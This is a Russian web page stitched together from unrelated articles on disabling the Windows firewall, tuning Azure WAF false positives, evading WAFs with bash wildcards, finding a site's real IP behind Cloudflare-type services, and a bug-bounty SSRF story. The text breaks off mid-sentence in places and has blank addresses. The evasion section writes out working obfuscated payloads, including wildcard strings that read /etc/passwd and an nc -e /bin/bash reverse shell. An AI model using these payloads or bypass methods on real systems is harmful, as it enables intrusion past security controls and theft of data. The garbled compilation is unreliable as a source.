Web application firewall как отключить

Обновлено: 04.07.2024

В этой статье мы разберемся, как отключить брандмауэр Windows 10 через службу безопасности, панель управления, монитор брандмауэра защитника Windows в режиме повышенной безопасности, при помощи командной строки и через реестр. Так же узнаем, как убрать уведомление об отключении брандмауэра в панели задач Виндовс 10.

При настройках по умолчанию, он отказывает в доступе к небезопасным внешним подключениям и разрешает делать все исходящие от вас соединения.

Встроенный в ОС Виндовс файрвол необходим, если вы беспокоитесь о безопасности своих данных на компьютере. НЕ ОТКЛЮЧАЙТЕ брандмауэр, если у вас нет проблем из-за него. Если он вас не устраивает, то замените его. Есть множество программ и утилит выполняющих те же функции. Например, антивирусы Касперский, Eset Nod32, Dr. Web и другие со встроенным файрволом или специализированный софт Comodo Firewall, TinyWall.

При использовании одновременно встроенного и стороннего файрвола, может приводить к конфликтам в работе и его замедлению.

Брандмауэр Виндовс 10 далек от совершенства и в некоторых проблемных случаях его лучше отключить. Примерами таких случаев могут послужить проблемы с запуском игр или приложений. Действия по его отключению в Win 10 и более ранних версиях, по сути своей идентичны, и обычно занимают не более двух минут.

Выключить брандмауэр Windows 10 можно навсегда, на время или только для определенных программ и приложений, внесенных в исключения.

Это самый быстрый и простой способ временно выключить брандмауэр в Windows 10. Для этого нам нужно изменить настройки в Центре безопасности Винды ⇒

Все, теперь брандмауэр для выбранного вами сетевого профиля будет отключен. После этого, справа на панели задач, будет постоянно выскакивать уведомление с предложением обратно включить файрвол. О том, как его убрать смотрите здесь.

Отключение брандмауэра данным способом только временная и после перезагрузки компьютера он снова заработает, так как соответствующая служба Windows 10 продолжит работать и запуститься автоматически. Как выключить эту службу, читайте в этом разделе данной статьи.

Как навсегда отключить брандмауэр с помощью командной строки

и выбрав соответствующий пункт. Если вместо пункта командной строки у вас PowerShell, то следуйте этой инструкции

Все, брандмауэр Виндовс полностью отключен, о чем вам сообщит центр уведомлений

Если вам фаервол снова понадобиться, то включить его можно используя команду netsh advfirewall set allprofiles state on и нажать Ввод (Enter).

После отключения брандмауэра Виндовс 10 всеми вышеописанными способами, одноименная служба, отвечающая за его работу, продолжит запускаться. Отключить её через services.msc так же у вас не получится, так как у этой службы все настройки неактивны.

Единственный вариант решить эту проблему, это изменить параметры запуска службы в реестре операционки ⇒

Нажмите клавиши Win+R , введите в окно выполнить regedit и нажмите ОК или Enter.
В окне редактора реестра перейдите к разделу: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mpssvc
Дважды кликните по параметру DWORD с именем Start, находящемуся в правом рабочем окне и задайте ему значение 4 и нажмите ОК.
После сохранения настроек и перезагрузки компьютера, служба будет отключена.

Это единственный способ вырубить брандмауэр Windows 10 полностью и навсегда.

Как убрать уведомление об отключении брандмауэра в панели задач

После отключения брандмауэра, центр безопасности защитника Windows 10 станет через определенные промежутки времени выводить уведомления о его отключении и предложением снова его включить.

Чтобы его убрать, зайдите в редактор реестра и в разделе: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications создайте строковый параметр DWORD с именем DisableNotifications и шестнадцатеричным значением 1.

Существует несколько мер, которые можно принять, если запросы, которые должны пройти через брандмауэр веб-приложения (WAF), блокируются.

Сначала ознакомьтесь с документами, в которых содержатся общие сведения о WAF и описание конфигурации WAF. Кроме того, включите мониторинг WAF. В этих статьях объясняется, как работают функции и наборы правил WAF, а также, как получить доступ к журналам WAF.

Стандартные наборы правил OWASP являются очень строгими, и их необходимо настраивать в соответствии с конкретными потребностями приложения или организации, использующей WAF. Совершенно нормальным (и в большинстве случаев ожидаемым) явлением является настройка исключений из правил, создание настраиваемых правил и даже отключение тех правил, которые могут приводить к проблемам и ложноположительным результатам. Политики для конкретного сайта и URI позволяют применять такие изменения только к определенным сайтам или URI, поэтому они не должны затрагивать другие сайты, где соответствующих проблем нет.

Основные сведения о журналах WAF

Журналы WAF предназначены для отображения всех запросов, пропущенных или заблокированных WAF. Это реестр всех проверенных запросов, которые были пропущены или заблокированы. Если вы заметили, что WAF блокирует запрос, который не должен блокироваться (ложноположительный результат), можно выполнить несколько действий. Сначала ограничьте область и найдите конкретный запрос. Просмотрите журналы, чтобы найти конкретный URI, метку времени или идентификатор транзакции для запроса. После того, как связанные записи журнала будут найдены, можно начинать обработку ложноположительных результатов.

Предположим, что у вас есть допустимый трафик, содержащий строку 1=1, который вы хотите передать через WAF. При попытке выполнить запрос WAF блокирует трафик, содержащий строку 1=1 в любом параметре или поле. Это строка часто связана с атакой путем внедрения кода SQL. Можно просмотреть журналы и определить метку времени запроса и правила, которые обусловили блокировку или пропуск трафика.

В следующем примере можно увидеть, как во время одного запроса активируются четыре правила (с помощью поля транзакции). Первое правило срабатывает, так как в запросе использовался числовой или IP-адрес URL, что увеличивает показатель аномалии на три, поскольку соответствует уровню предупреждения. Следующее сработавшее правило — 942130 (его нужно было найти). В поле details.data можно увидеть 1=1. Это увеличивает показатель аномалии еще на три, поскольку также соответствует уровню предупреждения. Вообще каждое правило с действием Соответствие (т. е. сработавшее правило) увеличивает показатель аномалии, и на этом этапе данный показатель был бы равен шести. Дополнительные сведения см. в статье Режим оценки аномалий.

Последние две записи журнала показывают, что запрос был заблокирован, так как показатель аномалии оказался достаточно высоким. Эти записи имеют другое, отличное от первых других действие. Для них указано, что они фактически блокировали запрос. Эти правила являются обязательными не могут быть отключены. Их следует рассматривать не как правила, а скорее как элементы базовой внутренней инфраструктуры WAF.

Борьба с ложноположительными результатами

Имея эту информацию и зная, что именно правило 942130 соответствует строке 1=1, мы можем выполнить несколько действий, чтобы предотвратить блокирование нашего трафика:

использовать список исключений;

Дополнительные сведения о списках исключений см. в статье о конфигурации WAF.

Использование списка исключений

Чтобы принять обоснованное решение об обработке ложноположительного результата, важно ознакомиться с технологиями, которые использует приложение. Предположим, что в вашем стеке технологий нет SQL Server, и вы получаете ложноположительные результаты, связанные с этими правилами. Отключение этих правил не всегда приводит к ослаблению безопасности.

Одним из преимуществ списка исключений является отключение только определенной части запроса. Однако это означает, что определенное исключение применяется ко всему трафику, проходящему через WAF, так как этот параметр является глобальным. Например, если 1=1 является допустимым текстом в запросе для определенного приложения, но не для других приложений, могут возникнуть проблемы. Еще одним преимуществом является возможность выбора между телом, заголовками и файлами cookie, которые следует исключать при выполнении определенного условия, вместо исключения всего запроса.

Бывают случаи, когда определенные параметры передаются в WAF способом, который не является интуитивно понятным. Например, при проверке подлинности с помощью Azure Active Directory передается маркер. Этот маркер, __RequestVerificationToken, как правило, передается в качестве файла cookie запроса. Однако в некоторых случаях, когда файлы cookie отключены, этот маркер также передается в качестве атрибута запроса ("аргумента"). В этом случае необходимо убедиться, что __RequestVerificationToken добавляется в список исключений вместе с именем атрибута запроса.

В этом примере необходимо исключить имя атрибута запроса, которое равно text1. Это очевидно, поскольку имя атрибута можно увидеть в журналах брандмауэра: данные: сопоставленные данные: 1=1, найдено в ARGS:text1: 1=1. Мы видим атрибут text1. Кроме того, имя этого атрибута можно найти несколькими другими способами. Они приведены в разделе Поиск имен атрибутов запроса.

Отключение правил

Еще один способ обойти ложноположительный результат — отключить правило, сработавшее на входных данных, которые WAF посчитал вредоносными. Так как вы проанализировали журналы WAF и выяснили, что сработало правило 942130, вы можете отключить его на портале Azure. См. статью Настройка правил брандмауэра веб-приложения на портале Azure.

Одним из преимуществ отключения правила является возможность отключить его для всего WAF, если известно, что весь трафик, содержащий определенное условие, которое обычно блокируется, является допустимым. Однако если такой трафик является допустимым лишь в определенном сценарии, отключение соответствующего правило для всего WAF приведет к уязвимости, так как этот параметр является глобальным.

Поиск имен атрибутов запроса

С помощью средства Fiddler можно проверить отдельные запросы и определить, какие именно поля веб-страницы вызываются. Это позволяет исключить определенные поля из области проверки с помощью списков исключений.

В этом примере можно увидеть, что поле, в котором была введена строка 1=1, называется text1.

Это поле можно исключить. Чтобы узнать больше о списках исключений, ознакомьтесь со статьей Предельный размер запросов брандмауэра веб-приложения и списки исключений. В этом случае вы можете исключить оценку, настроив приведенные ниже исключения.

Вы можете также просмотреть журналы брандмауэра, чтобы понять, что нужно добавить в список исключений. Сведения о том, как включить ведение журнала, см. в статье о работоспособности серверной части, журналах ресурсов и метриках для шлюза приложений.

Просмотрите журнал брандмауэра в файле PT1H.json за час, в течение которого был отправлен запрос, который требуется проверить.

В этом примере можно увидеть четыре правила с одинаковым идентификатором транзакции, которые сработали в одно и то же время:

Зная, как работают наборы правил CRS, и что набор правил CRS 3.0 работает с системой оценки аномалий (см. статью Брандмауэр веб-приложений для шлюза приложений Azure), вы понимаете, что два нижних правила со свойством action: Blocked блокируют трафик на основе общей оценки аномалий. Правила, на которые следует обратить внимание, являются двумя верхними.

Первая запись заносится в журнал, так как пользователь перешел к шлюзу приложений по числовому IP-адресу, что в данном случае можно игнорировать.

Второе правило (942130) является более интересным. В подробностях можно увидеть, что это правило выявило шаблон (1=1) в поле text1. Повторите выполненные ранее действия, чтобы исключить имя атрибута запроса, которое равно 1=1.

Поиск имен заголовков запросов

Fiddler — это удобный инструмент для поиска имен заголовков запросов. На следующем снимке экрана показаны заголовки запроса GET, которые содержат такие сведения, как тип содержимого, агент пользователя и т. д.

Поиск имен файлов cookie запроса

Если запрос содержит файлы cookie, можно выбрать вкладку Файлы cookie, чтобы просмотреть их в Fiddler.

Ограничение глобальных параметров для исключения ложноположительных результатов

Отключение проверки текста запроса

Если для параметра Проверять текст запроса установить значение "Выкл.", текст запросов всего трафика не будет оцениваться вашим WAF. Это может быть полезно, если известно, что текст запросов не является вредоносным для приложения.

Если отключить этот параметр, проверка не будет применятся только к тексту запросов. Заголовки и файлы cookie по-прежнему проверяются, если только отдельные объекты не исключены с помощью списков исключений.

Ограничения размера файла

Ограничив размер файла в WAF, вы ограничиваете возможность атаки на веб-серверы. Когда разрешена загрузка больших файлов, риск перегрузки серверной части увеличивается. Ограничение размера файла значением, типовым для сценария использования вашего приложения, — один из способов предотвращения атак.

Если вы уверены, что приложение никогда не потребует передачи файлов размер которых превышает заданный, вы можете ограничить этот размер, установив лимит.

Метрики брандмауэра (только WAF_v1)

Для брандмауэров веб-приложений версии v1 на портале теперь доступны следующие метрики:

Счетчик заблокированных запросов брандмауэром веб-приложения — количество запросов, которые были заблокированы.
Счетчик заблокированных правил брандмауэром веб-приложения — количество правил, которые сработали и запрос был заблокирован.
Общее распределение правил брандмауэра веб-приложений — все правила, сработавшие во время проверки.

Чтобы включить метрики, выберите на портале вкладку Метрики, а затем — одну из трех метрик.

Часто в веб-приложениях обнаруживается уязвимость удаленного выполнения команд Remote Command Execution и это подтверждается «OWASP Top 10 application security risk 2017», которые ставят «Injection» на первое место:

Угрозы Injection (внедрение), такие как SQL, NoSQL, OS и LDAP injection, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Враждебные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или получить доступ к данным без надлежащей авторизации.

Стандартные подстановочные знаки Bash (также известные как globbing patterns) используются различными утилитами командной строки для работы с несколькими файлами. Для получения дополнительной информации о стандартных подстановочных знаках обратитесь к странице руководства, набрав man 7 glob. Не все знают, что существует множество синтаксисов bash, которые позволяют вам выполнять системные команды, просто используя вопросительный знак «?», косую черту «/», цифры и буквы. Вы даже можете получить список файлов или получить их содержимое, используя одно и то же количество символов. Как? Я приведу несколько примеров:

Вместо выполнения команды ls вы можете использовать следующий синтаксис: /. /?s

вывод справки «ls» выполняется с использованием синтаксиса / . /? s

С этим синтаксисом вы можете выполнять практически все, что вы хотите. Допустим, ваша уязвимая цель находится за брандмауэром веб-приложений, и этот WAF имеет правило, блокирующее все запросы, содержащие /etc/passwd или /bin/ls внутри значения параметра GET или внутри тела в запросе POST. Если вы попытаетесь сделать запрос наподобие /?cmd=cat+/etc/passwd, он будет заблокирован целевым WAF, и ваш IP будет забанен навсегда и помечен как «еще один f *** in’ redteamer ». Но у вас есть секретное оружие в вашем кармане, называемое подстановочным знаком. Если вам повезет, то целевой WAF может не иметь «уровня паранойи», достаточного для того, чтобы блокировать таких персонажей, как ? и / внутри строки запроса. Таким образом, вы можете легко сделать ваш запрос (в кодировке URL) следующим образом: /?cmd=%2f. %2f??t%20%2f. %2fp??s??

/bin/cat /etc/passwd выполнился с символом подставновки

Как вы можете видеть на скриншоте выше, есть 3 ошибки /bin/cat*: Is a directory». Это происходит потому, что /. /??t может быть «переведен» процессом globbing в /bin/cat, а также /dev/net или /etc/apt, и т.п…

Подстановочный знак вопроса представляет только один символ, который может быть любым символом. Таким образом, если вы знаете часть имени файла, но не одну букву, вы можете использовать этот шаблон. Например, ls *. будет список всех файлов в текущем каталоге, которые имеют расширение 3 символа в длину. И таким образом, файлы с расширениями, такими как .jpg, .jpg, .txt будут перечислены.

Используя этот шаблон, вы можете запустить reverse shell (обратный шелл), используя netcat. Допустим, вам нужно выполнить reverse shell до 127.0.0.1 на порту 1337 (обычно это nc -e /bin/bash 127.0.0.1 1337), вы можете сделать это с помощью синтаксиса, например:
/. /n? -e /. /b??h 2130706433 1337

В моем kali (дистрибутив линукс) мне нужно использовать nc.traditional вместо nc, у которого нет параметра -e, чтобы выполнить /bin/bash после подключения. Полезная нагрузка становится примерно такой:

executing a reverse shell using wildcard

Соответственно две предыдущие команды можно использовать так:

Стандартная команда: /bin/nc 127.0.0.1 1337
Команда для атаки: /. /n? 2130706433 1337
Используемые символы: / ? n 7

Стандартная команда: /bin/cat /etc/passwd
Команда для атаки: /. /??t /. /??ss??
Используемые символы: / ? t s

Зачем использовать ? вместо того * ? Поскольку звездочка (*) широко используется для синтаксиса комментариев (что-то вроде / * эй, я комментарий * /), и многие WAF блокируют его, чтобы избежать SQL-инъекций … что-то вроде UNION+SELECT+1,2,3/*

Перечислять файлы и каталоги, используя echo? Да, можно. Команда echo может перечислять файлы и каталоги в файловой системе, используя подстановочные знаки. Например: echo /*/*ss* :

перечислять файлы и каталоги, используя команду echo

Это может быть использовано на RCE для получения файлов и каталогов в целевой системе, например:

enumerate files and directories through a WAF

Но почему использование подстановочного знака (и, в частности, знака вопроса) может обойти набор правил WAF? Позвольте мне начать с Sucuri WAF!

Test evasion technique on Sucuri WAF

Какой лучший способ проверить набор правил WAF? Создайте самый уязвимый PHP-скрипт в мире и опробуйте все возможные приемы! На скриншоте выше мы видим: в верхней левой панели мое уродливое веб-приложение (это просто PHP-скрипт, который выполняет команды):

В левой нижней части окна вы можете увидеть тест удаленного выполнения команд на моем веб-сайте, защищенный Sucuri WAF (test1.unicresit.it). Как вы видите, Sucuri блокирует мой запрос по причине «An attempted RFI/LFI was detected and blocked». Эта причина не совсем верна, но хорошая новость заключается в том, что WAF заблокировал мою атаку (я даже не знаю, почему брандмауэр должен сообщить мне причину заблокированного запроса, но должна быть причина… наверняка).

Правая панель является самой интересной из всех, потому что она показывает тот же запрос, но с использованием «вопросительного знака» в качестве подстановочного знака. Результат пугающий … Запрос принят Sucuri WAF, и мое приложение выполняет команду, которую я ввел в параметр c. Теперь я могу прочитать файл /etc/passwd и даже больше … Я могу прочитать исходный текст PHP-приложения, я могу запустить обратную оболочку, используя netcat (или, как мне нравится называть это: /. /?c), или Я мог бы выполнять такие программы, как curl или wget, чтобы выявить реальный IP-адрес веб-сервера, который позволил бы мне обойти WAF, подключившись напрямую к цели.

Я не знаю, происходит ли это из-за того, что я что-то пропустил в своей конфигурации Sucuri WAF… Я спросил у Sucuri, является ли это активным поведением и настроено ли оно по умолчанию на «низкий уровень паранойи», чтобы избежать ложных положительные, и я все еще жду ответа.

Пожалуйста, имейте в виду, что я делаю этот тест, используя тупой скрипт PHP, который не представляет реальный сценарий. ИМХО, вы не должны судить о WAF, основываясь на том, сколько запросов он блокирует, и Sucuri не менее безопасен только потому, что не может полностью защитить намеренно уязвимый веб-сайт.

Я действительно люблю ModSecurity, я думаю, что новая libmodsecurity (v3), используемая с Nginx и Nginx connector, является лучшим решением, которое я когда-либо использовал для развертывания брандмауэра веб-приложений. Я также большой поклонник набора основных правил OWASP (OWASP Core Rule Set)! Я использую его повсюду, но, если вы плохо знаете этот набор правил, вам нужно обратить внимание на небольшую вещь, называемую уровень паранои!

Следующая «схема», которую вы можете найти здесь, является хорошим обзором того, как каждый уровень работает по правилам «REQUEST PROTOCOL ENFORCEMENT». Как вы можете видеть с PL1, строка запроса может содержать только символы ASCII в диапазоне 1–255, и она становится более строгой, пока PL4 не блокирует все, что не является символом ASCII в очень небольшом диапазоне.

давайте проведем тест со всеми уровнями!

Уровень паранойи 0 означает, что многие правила отключены, поэтому абсолютно нормально, что наша полезная нагрузка может без проблем привести к удаленному выполнению команд. Не паникуйте 🙂

RCE принят ModSecurity с PL0 (не паникуйте, все в порядке)

Я сгруппировал уровни 1 и 2, потому что их различия (как вы можете видеть на схеме выше) не влияют на нашу цель, все действия такие же, как описано ниже.

с PL1 (и PL2) ModSecurity явно блокирует мой запрос «OS File Access Attempt» (930120). Но что, если я использую знак вопроса в качестве подстановочного знака? Запрос принят моим WAF:

with PL1 and PL2 my RCE attack was not blocked and I can read /etc/passwd

Это происходит потому, что «знак вопроса», «косая черта» и «пробел» находятся в допустимом диапазоне символов в правилах 920271 и 920272. Более того, использование «вопросительных знаков» вместо командного синтаксиса позволяет мне избежать «OS Files» фильтры, которые перехватывают общие команды и файлы операционных систем (такие как /etc/passwd в нашем случае).

Этот уровень паранойи имеет плюс: он блокирует запрос, содержащий символы типа «?» более чем в n раз. Фактически, мои запросы были заблокированы как «Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters». это здорово! отличная работа ModSecurity, ты выиграл плюшевого мишку! 🐻 Но, к сожалению, мое веб-приложение настолько уродливо и уязвимо, что я все равно могу использовать меньше вопросительных знаков и читать файл passwd, используя следующий синтаксис: c=/?in/cat+/et?/passw?

Как видите, используя всего 3 «?» Вопросительный знак Я могу обойти этот уровень паранойи и прочитать файл passwd внутри целевой системы. ОК, это не значит, что вы должны установить уровень паранойи на 4 всегда и безоговорочно. Имейте в виду, что я тестирую его с действительно глупым PHP-скриптом, который не представляет реальный сценарий … Я надеюсь …

Вернуться к статическим HTML-страницам … это самый быстрый способ повысить безопасность вашего веб-приложения! Трудно сказать, какая конфигурация лучше всего избегать уклонения от WAF или какой уровень паранойи лучше всего использовать. ИМХО, мы не должны доверять набору правил, равномерно распределенному в веб-приложении. Действительно, я думаю, что мы должны настроить наши правила WAF, контекстуализированные для каждой функциональности приложения.

В любом случае, когда вы пишете новый SecRule на свой ModSecurity или что-то подобное, имейте в виду, что, вероятно, есть много способов обойти ваш фильтр или регулярное выражение в правиле. Поэтому сразу обдумывайте все возможности его обхода.

Этичный хакинг и тестирование на проникновение, информационная безопасность

Файерволы веб приложений (Web Application Firewall — WAF) — это надстройки (модули) веб-серверов (как например mod_security для Apache), либо сервисы (как например Cloudflare, Incapsula, SUCURI), которые до того, как передать полученный от пользователя запрос веб-серверу, анализируют его и, в случае если он может представлять опасность, блокируют, либо модифицируют его.

Файерволы приложений дополнительно могут выполнять функции выявления и предотвращения вторжений.

Если WAF является модулем веб-сервера, то данное программное обеспечение работает на том же самом сервере (компьютере). Если же WAF является отдельным сервисом, то схема работы следующая:

1) Веб-сайт, который нужно защитить, работает на том же самом сервере без защиты.

2) В DNS записи A в качестве IP данного сайта указываются IP адреса файервола веб приложений, то есть сервиса Cloudflare, Incapsula, SUCURI или какого-то другого

3). После этого при обращении к защищаемому веб-сайту все запросы уже направляются в сервис Cloudflare, Incapsula, SUCURI или аналога

4) Данный сервис получает запрос, обрабатывает его и делает запрос на исходный сервер (который, напомню, даже не защищён), получает с него нужную страницу/данные и перенаправляет запросившему пользователю.

Для нормального посетителя, подключающегося к веб-сайту, нет никакой разницы, всё происходит незаметно. Но для целей аудита веб-сайта, файловые файерволы могут стать проблемами. WAF блокируют вредоносные запросы и защищают от (D)DoS атак. При этом никакие запросы от скриптов (ботов) могут вообще не приниматься — отфильтровываться на начальном этапе, либо на этапе прохождения капчи, что делает невозможным использованиео таких инструментов, как WPScan, sqlmap и других программ для поиска уязвимости и оценки безопасности веб-сайта. Если в случае встроенных в сервер WAF (к примеру, mod_security) возможен только один вариант обхода — конструкция таких запросов, которые обманывают правила, основанные на паттернах (образцах), то для WAF-сервисов возможно целых два варианта:

1) Такой же, как и для обычных WAF, - то есть попытка перехитрить правила;

2) Отправка запросов напрямую к серверу, минуя WAF.

Кстати, смотрите статьи:

В подавляющем большинстве случаев исходный сервер (который пытаются защитить с помощью внешнего сервиса WAF) по-прежнему настроен принимать и обрабатывать запросы от кого угодно (а не только от WAF, который выступает в роли прокси). Поэтому можно полностью нивелировать попытку защититься сервисом WAF если всего лишь знать настоящий IP веб-сайта.

Сбор информации о владельце сайта. Поиск сайтов одного лица
Как узнать настоящий IP сайта в Cloudflare
Как узнать, сайт за CloudFlare или нет
Препарирование скамерского сайта (КЕЙС)
Поиск сетки вредоносных сайтов (кейс)
Поиск человека по IP (кейс)

Этим задача посвящены специализированные инструменты, такие как CloudFail. В указанных статьях я часто применял такой метод: посмотреть на SecurityTrails историю DNS записей для домена и проверял (с помощью cURL и указания имени хоста), какой из найденных IP адресов ответит должным образом.

Эта техника, а также некоторые другие, автоматизированы в скрипте Bypass firewalls by abusing DNS history (это такое название у программы).

В работе используются следующие сервисы:

Этот скрипт пытается узнать настоящий IP разными методами:

анализ истории DNS
поиск субдоменов и анализ IP адресов субдоменов

Ко всем найденным IP адресам делаются запросы для проверки.

Установка Bypass firewalls by abusing DNS history в Kali Linux:

Установка Bypass firewalls by abusing DNS history в BlackArch:

Использование программы очень простое — всего одна обязательная опция -d после которой нужно указать анализируемый домен:

Столбец [IP] — этот тот самый адрес, к которому можно обратиться напрямую, минуя WAF. [Confidence] — это степень уверенности, что данные адрес является верным (может быть несколько вариантов IP с разной степенью уверенности). [Organisation] — кому принадлежит найденный IP (какой организации).

Программа соберёт список IP и будет проверять их только для основного домена. Если же вы хотите проверить, подходят ли найденные IP для обнаруженных субдоменов, то используйте опцию -a:

Чтобы сохранить результаты в файл, используйте опцию -o, после которой нужно указать имя файла, например:

В файл будут сохранены только найденные IP.

Для более сложных случаев, когда программа не смогла с наскока определить настоящий IP адрес, ей можно помочь. Дело в том, что хотя скрипт bypass-firewall-dns-history и использует быстрые сервисы поиска субдоменов, они не всегда показывают самые полные результаты. Вы можете собрать свой собственный список субдоменов с помощью других програм и сервисов. К примеру с помощью Amass:

Найденные субдомены будут сохранены в файл subdm.txt. Теперь используя опцию -l можно указать путь до файла с дополнительными поддоменами, которые также будут использоваться для поиска настоящего IP сайта:

В данном случае настоящий IP был определён даже и без поиска субдоменов внешней программой — это просто пример алгоритма действия для сложных случаев.

Как использовать найденный IP (последующая эксплуатация)

Когда вы нашли способ обойти файервол веб-приложения (узнали настоящий IP сайта), то у вас есть две опции:

Первый вариант: отредактируйте ваш файл host — в результате любые запросы из вашей ОС от любой программы будут отправляться напрямую к сайту, минуя файервол. В системах Linux/Mac это файл /etc/hosts, а в Windows это файл c:\Windows\System32\Drivers\etc\hosts. Добавьте в него примерно такую запись:

Второй вариант: настройка Burp Suite. Выполните настройку по аналогии со скриншотом:

Привет, друзья! Как вы думаете, что общего между участием в конкурсе по отлову багов и устройствами сетевой безопасности? Обычно ничего. С другой стороны, устройства безопасности позволяют реализовать виртуальный патчинг и используются регулярно с целью снижения вознаграждения исследователям за найденные ошибки… однако дальше будет полностью противоположная история: мы получили премию, благодаря неправильно настроенному средству безопасности. Мы не будем раскрывать ни имя компании (кроме того, что организация входит в список Fortune 500), ни один из уязвимых компонентов. Мы лишь рассмотрим используемую технику вследствие чрезвычайной и обезоруживающей простоты.

Исследование цели

Все началось с изучения цели, которая на тот момент не рассматривалась как заслуживающая внимания. Предположим, что у целевой системы адрес

. Практически случайно мы заметили, что на поддомене, отвечающим за аутентификацию на сайте, были доступны некоторые CSS и Javascript ресурсы, имеющие отношение к Java-компоненту, который был хорошо известен как подверженный уязвимости, связанной с удаленным выполнением кода.

Странным был тот факт, что во время просмотра конечного узла (нечто вроде

«Странная» вещь

Рисунок 1: Приблизительная схема удаленной инфраструктуры

Идея

Как только мы обнаружили, что параметр «cfru» публично доступен, тут же возникла мысль – для передачи нашей полезной нагрузки не требовалась аутентификация на портале.

Таким образом, мы начали кодировать URL’ы внешних доменов, находящихся под нашим контролем, в base64 и передавать полученные строки через параметр «cfru». Мы надеялись, что получится реализовать нечто вроде SSRF (Server-Side Request Forgery). Однако итоге все получилось намного интереснее.

Переломный момент

Поворотная точка возникла в тот момент, когда мы сделали следующее предположение: если ресурс

Но что если мы закодируем URL

в base64 и полученную строку

передадим через параметр «cfru»

Запрос проходит через WAF и не распознается как подозрительный.

Затем запрос попадает к Bluecoat, где происходит декодирование параметра «cfru» и отправка GET-запроса к внутреннему хосту

В итоге инициируется уязвимость.

Бинго!

Мы видим результат выполнения вредоносной полезной нагрузки (в виде команды «hostname»), пройденную через DNS (как упоминалось ранее, исходящие TCP-подключение к нашему хосту в интернете блокировались).

Рисунок 2: DNS запрос к внутреннему хосту

Заключение

В результате можно выделить две ошибки в конфигурации:

Не было правила, реализованного на уровне WAF, для анализа декодированного параметра «cfru» перед передачей в Bluecoat на предмет соответствия содержимого запроса одному из правил для блокировки, настроенному на стороне WAF.

Мы сразу сообщили об уязвимости компании и получили финансовое вознаграждение.

Главное: виртуальный патчинг приходится очень кстати, если вам нужно немного времени для исправления серьезной уязвимости. Однако если вы используется виртуальный патчинг вместо реального, рано или поздно вас кто-нибудь взломает.

Читайте также: